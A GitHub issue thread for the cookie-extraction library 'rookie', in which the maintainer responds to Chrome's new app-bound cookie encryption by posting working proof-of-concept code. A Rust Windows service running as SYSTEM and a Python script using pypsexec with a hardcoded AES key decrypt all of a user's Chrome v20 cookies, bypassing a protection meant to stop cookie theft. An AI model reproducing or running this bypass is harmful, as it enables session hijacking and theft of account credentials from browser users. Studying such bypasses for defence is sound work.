Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Bug]: inability to decrypt newer cookies #50

Closed
gamer191 opened this issue Sep 13, 2024 · 4 comments
Closed

[Bug]: inability to decrypt newer cookies #50

gamer191 opened this issue Sep 13, 2024 · 4 comments
Labels
bug Something isn't working

Comments

@gamer191
Copy link

What happened?

Likely due to https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html, this program no longer decrypts newer chrome cookies. However, instead of displaying an error, it simply includes lots cookie names without values in the output

Steps to reproduce

  1. update to the latest version of chrome
  2. create some cookies by visiting random sites (old cookies aren't encrypted with the new method, I guess)
  3. run cli -b chrome

What browsers are you seeing the problem on?

Chrome

Relevant log output

NOTE: I have removed most cookies from the log, for privacy reasons
[2024-09-13T07:31:36Z DEBUG rookie::common::paths] Found chrome path C:\Users\username\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies, C:\Users\username\AppData\Local\Google\Chrome\User Data\Default\Network\../../Local State
[2024-09-13T07:31:36Z WARN  rookie::browser::chromium] Unlocking Chrome database... This may take a while (sometimes up to a minute)
[2024-09-13T07:31:36Z INFO  rookie::browser::chromium] Creating SQLite connection to C:\Users\username\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
[
  {
    "domain": ".dotmetrics.net",
    "path": "/",
    "secure": true,
    "expires": 1757748787,
    "name": "DotMetrics.DeviceKey",
    "value": "",
    "http_only": false,
    "same_site": 0
  },
  {
    "domain": ".dotmetrics.net",
    "path": "/",
    "secure": true,
    "expires": 1757748787,
    "name": "DotMetrics.UniqueUserIdentityCookie",
    "value": "",
    "http_only": false,
    "same_site": 0
  },
  {
    "domain": ".abc.net.au",
    "path": "/",
    "secure": true,
    "expires": 1726212847,
    "name": "_chartbeat4",
    "value": "",
    "http_only": false,
    "same_site": -1
  },
  {
    "domain": "iview.abc.net.au",
    "path": "/",
    "secure": false,
    "expires": 1726213686,
    "name": "_dd_s",
    "value": "",
    "http_only": false,
    "same_site": 2
  }
]
@thewh1teagle
Copy link
Owner

thewh1teagle commented Sep 15, 2024

Hey!
Thanks for report
I'm happy that Chrome finally tries to improve it on Windows since it's so easy to access this secrets...
However we still can extract it by process injection or high privileges.
A new pr is welcome if anyone interested!

The source code is here
chrome/browser/os_crypt

@thewh1teagle
Copy link
Owner

thewh1teagle commented Oct 23, 2024

I'll see if we can add yt-dlp/yt-dlp#10927 (comment) to rookie.

Also related: moonD4rk/HackBrowserData#431

@thewh1teagle
Copy link
Owner

thewh1teagle commented Oct 23, 2024

POC of system decryption (still need to decrypt as the current user and think how to run it from the library

service.rs
use std::{ffi::c_void, ptr};
use eyre::{anyhow, bail, Result};
use windows::Win32::{Foundation, Security::Cryptography};

fn decrypt(encrypted_base64: &str) -> String {
    println!("encrypted base 64 {}", encrypted_base64);
    let mut decoded = base64::decode(encrypted_base64.trim()).unwrap();
    println!("decoded length: {}", decoded.len());
    let decrypted = dpapi_decrypt(&mut decoded).unwrap();
    base64::encode(decrypted)
}

fn dpapi_decrypt(keydpapi: &mut [u8]) -> Result<Vec<u8>> {
  // https://learn.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptunprotectdata
  // https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-localfree
  // https://docs.rs/winapi/latest/winapi/um/dpapi/index.html
  // https://docs.rs/winapi/latest/winapi/um/winbase/fn.LocalFree.html

  let data_in = Cryptography::CRYPT_INTEGER_BLOB {
    cbData: keydpapi.len() as u32,
    pbData: keydpapi.as_mut_ptr(),
  };
  let mut data_out = Cryptography::CRYPT_INTEGER_BLOB {
    cbData: 0,
    pbData: ptr::null_mut(),
  };

  unsafe {
    let _ = match Cryptography::CryptUnprotectData(
      &data_in,
      Some(ptr::null_mut()),
      Some(ptr::null_mut()),
      Some(ptr::null_mut()),
      Some(ptr::null_mut()),
      0,
      &mut data_out,
    ) {
      Ok(_) => Ok(()),
      Err(_) => Err(anyhow!("CryptUnprotectData failed")),
    };
  }
  if data_out.pbData.is_null() {
    bail!("CryptUnprotectData returned a null pointer");
  }

  let decrypted_data =
    unsafe { std::slice::from_raw_parts(data_out.pbData, data_out.cbData as usize).to_vec() };
  let pbdata_hlocal = Foundation::HLOCAL(data_out.pbData as *mut c_void);
  unsafe {
    let _ = match Foundation::LocalFree(pbdata_hlocal) {
      Ok(_) => Ok(()),
      Err(_) => Err(anyhow!("LocalFree failed")),
    };
  };
  Ok(decrypted_data)
}




fn main() -> std::io::Result<()> {
	use interprocess::local_socket::{prelude::*, GenericNamespaced, ListenerOptions, Stream};
	use std::io::{self, prelude::*, BufReader};

	// Define a function that checks for errors in incoming connections. We'll use this to filter
	// through connections that fail on initialization for one reason or another.
	fn handle_error(conn: io::Result<Stream>) -> Option<Stream> {
		match conn {
			Ok(c) => Some(c),
			Err(e) => {
				eprintln!("Incoming connection failed: {e}");
				None
			}
		}
	}

	// Pick a name.
	let printname = "unprotect.sock";
	let name = printname.to_ns_name::<GenericNamespaced>()?;

	// Configure our listener...
	let opts = ListenerOptions::new().name(name);

	// ...then create it.
	let listener = match opts.create_sync() {
		Err(e) if e.kind() == io::ErrorKind::AddrInUse => {
			// When a program that uses a file-type socket name terminates its socket server
			// without deleting the file, a "corpse socket" remains, which can neither be
			// connected to nor reused by a new listener. Normally, Interprocess takes care of
			// this on affected platforms by deleting the socket file when the listener is
			// dropped. (This is vulnerable to all sorts of races and thus can be disabled.)
			//
			// There are multiple ways this error can be handled, if it occurs, but when the
			// listener only comes from Interprocess, it can be assumed that its previous instance
			// either has crashed or simply hasn't exited yet. In this example, we leave cleanup
			// up to the user, but in a real application, you usually don't want to do that.
			eprintln!(
				"Error: could not start server because the socket file is occupied. Please check if
				{printname} is in use by another process and try again."
			);
			return Err(e);
		}
		x => x?,
	};

	// The syncronization between the server and client, if any is used, goes here.
	eprintln!("Server running at {printname}");

	// Preemptively allocate a sizeable buffer for receiving at a later moment. This size should
	// be enough and should be easy to find for the allocator. Since we only have one concurrent
	// client, there's no need to reallocate the buffer repeatedly.
	let mut buffer = String::with_capacity(4096);

	for conn in listener.incoming().filter_map(handle_error) {
		// Wrap the connection into a buffered receiver right away
		// so that we could receive a single line from it.
		let mut conn = BufReader::new(conn);
		println!("Incoming connection!");

		// Since our client example sends first, the server should receive a line and only then
		// send a response. Otherwise, because receiving from and sending to a connection cannot
		// be simultaneous without threads or async, we can deadlock the two processes by having
		// both sides wait for the send buffer to be emptied by the other.
		conn.read_line(&mut buffer)?;

		// Now that the receive has come through and the client is waiting on the server's send, do
		// it. (`.get_mut()` is to get the sender, `BufReader` doesn't implement a pass-through
		// `Write`.)
        let decrypted = decrypt(&buffer);
        println!("write all...");
		conn.get_mut().write_all(decrypted.as_bytes())?;

		// Print out the result, getting the newline for free!
		print!("Client answered: {buffer}");

		// Clear the buffer so that the next iteration will display new data instead of messages
		// stacking on top of one another.
		buffer.clear();
	}
	Ok(())
}
main.rs
fn main() -> windows_service::Result<()> {
    use std::ffi::OsString;
    use windows_service::{
        service::{ServiceAccess, ServiceErrorControl, ServiceInfo, ServiceStartType, ServiceType},
        service_manager::{ServiceManager, ServiceManagerAccess},
    };

    let manager_access = ServiceManagerAccess::ALL_ACCESS;
    let service_manager = ServiceManager::local_computer(None::<&str>, manager_access)?;

    // This example installs the service defined in `examples/ping_service.rs`.
    // In the real world code you would set the executable path to point to your own binary
    // that implements windows service.
    let service_binary_path = ::std::env::current_exe()
        .unwrap()
        .with_file_name("service.exe");


    let name = "unprotect_service";
    let service_info = ServiceInfo {
        name: OsString::from(name),
        display_name: OsString::from("Unprotect service"),
        service_type: ServiceType::OWN_PROCESS,
        start_type: ServiceStartType::OnDemand,
        error_control: ServiceErrorControl::Normal,
        executable_path: service_binary_path,
        launch_arguments: vec![],
        dependencies: vec![],
        account_name: None, // run as System
        account_password: None,
    };
    
    let perm = ServiceAccess::CHANGE_CONFIG | ServiceAccess::START | ServiceAccess::DELETE;
    let service = match service_manager.open_service(&name, perm) {
        Ok(s) => s,
        Err(_) => service_manager.create_service(&service_info, perm).unwrap(),
    };    


    
    service.set_description("Unprotected base64 of v20 chrome cookies")?;
    println!("starting...");
    let encrypted = "your base 64 key";
    
    service.start::<String>(&[]).unwrap();
    println!("going to decrypt...");
    let decrypted = decrypt_with_service(&encrypted).unwrap();
    println!("decrypted: {}", decrypted);
    service.stop().unwrap();
    service.delete().unwrap();
    Ok(())
}

fn decrypt_with_service(encrypted_base64: &str) -> std::io::Result<String> {
    use interprocess::local_socket::{prelude::*, GenericFilePath, GenericNamespaced, Stream};
	use std::io::{prelude::*, BufReader};

	// Pick a name.
	let name = if GenericNamespaced::is_supported() {
		"unprotect.sock".to_ns_name::<GenericNamespaced>()?
	} else {
		"/tmp/unprotect.sock".to_fs_name::<GenericFilePath>()?
	};

	// Preemptively allocate a sizeable buffer for receiving. This size should be enough and
	// should be easy to find for the allocator.
	let mut buffer = String::with_capacity(4096);

	// Create our connection. This will block until the server accepts our connection, but will
	// fail immediately if the server hasn't even started yet; somewhat similar to how happens
	// with TCP, where connecting to a port that's not bound to any server will send a "connection
	// refused" response, but that will take twice the ping, the roundtrip time, to reach the
	// client.
	let conn = Stream::connect(name)?;
	// Wrap it into a buffered reader right away so that we could receive a single line out of it.
	let mut conn = BufReader::new(conn);

	// Send our message into the stream. This will finish either when the whole message has been
	// sent or if a send operation returns an error. (`.get_mut()` is to get the sender,
	// `BufReader` doesn't implement pass-through `Write`.)
    println!("write all...");
    let line_with_newline = format!("{}\n", encrypted_base64);
	conn.get_mut().write_all(line_with_newline.as_bytes())?;

	// We now employ the buffer we allocated prior and receive a single line, interpreting a
	// newline character as an end-of-file (because local sockets cannot be portably shut down),
	// verifying validity of UTF-8 on the fly.
	conn.read_line(&mut buffer)?;

    Ok(buffer)
}

POC in Python

main.py
"""
Decrypt chrome v20 cookies with app bound protection
Tested in 2024-10-23 with Chrome version 130.0.6723.70 on Windows 11 23H2

pip install pywin32 pycryptodome pypsexec
python main.py
"""
import os
import json
import sys
import binascii
from pypsexec.client import Client
from Crypto.Cipher import AES
import sqlite3
import pathlib

user_profile = os.environ['USERPROFILE']
local_state_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data\Local State"
cookie_db_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies"

with open(local_state_path, "r") as f:
    local_state = json.load(f)

app_bound_encrypted_key = local_state["os_crypt"]["app_bound_encrypted_key"]

arguments = "-c \"" + """import win32crypt
import binascii
encrypted_key = win32crypt.CryptUnprotectData(binascii.a2b_base64('{}'), None, None, None, 0)
print(binascii.b2a_base64(encrypted_key[1]).decode())
""".replace("\n", ";") + "\""

c = Client("localhost")
c.connect()

try:
    c.create_service()

    assert(binascii.a2b_base64(app_bound_encrypted_key)[:4] == b"APPB")
    app_bound_encrypted_key_b64 = binascii.b2a_base64(
        binascii.a2b_base64(app_bound_encrypted_key)[4:]).decode().strip()

    # decrypt with SYSTEM DPAPI
    encrypted_key_b64, stderr, rc = c.run_executable(
        sys.executable,
        arguments=arguments.format(app_bound_encrypted_key_b64),
        use_system_account=True
    )
    

    # decrypt with user DPAPI
    decrypted_key_b64, stderr, rc = c.run_executable(
        sys.executable,
        arguments=arguments.format(encrypted_key_b64.decode().strip()),
        use_system_account=False
    )

    decrypted_key = binascii.a2b_base64(decrypted_key_b64)[-61:]
    assert(decrypted_key[0] == 1)

finally:
    c.remove_service()
    c.disconnect()

# decrypt key with AES256GCM
# aes key from elevation_service.exe
aes_key = binascii.a2b_base64("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=")

# [flag|iv|ciphertext|tag] decrypted_key
# [1byte|12bytes|variable|16bytes]
iv = decrypted_key[1:1+12]
ciphertext = decrypted_key[1+12:1+12+32]
tag = decrypted_key[1+12+32:]

cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv)
key = cipher.decrypt_and_verify(ciphertext, tag)
print(binascii.b2a_base64(key))

# fetch all v20 cookies
con = sqlite3.connect(pathlib.Path(cookie_db_path).as_uri() + "?mode=ro", uri=True)
cur = con.cursor()
r = cur.execute("SELECT host_key, name, CAST(encrypted_value AS BLOB) from cookies;")
cookies = cur.fetchall()
cookies_v20 = [c for c in cookies if c[2][:3] == b"v20"]
con.close()

# decrypt v20 cookie with AES256GCM
# [flag|iv|ciphertext|tag] encrypted_value
# [3bytes|12bytes|variable|16bytes]
def decrypt_cookie_v20(encrypted_value):
    cookie_iv = encrypted_value[3:3+12]
    encrypted_cookie = encrypted_value[3+12:-16]
    cookie_tag = encrypted_value[-16:]
    cookie_cipher = AES.new(key, AES.MODE_GCM, nonce=cookie_iv)
    decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie, cookie_tag)
    return decrypted_cookie[32:].decode('utf-8')

for c in cookies_v20:
    print(f"")
    print(c[0], c[1], decrypt_cookie_v20(c[2]))

@thewh1teagle
Copy link
Owner

Added support for chrome v130.x in latest rookie version

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

No branches or pull requests

2 participants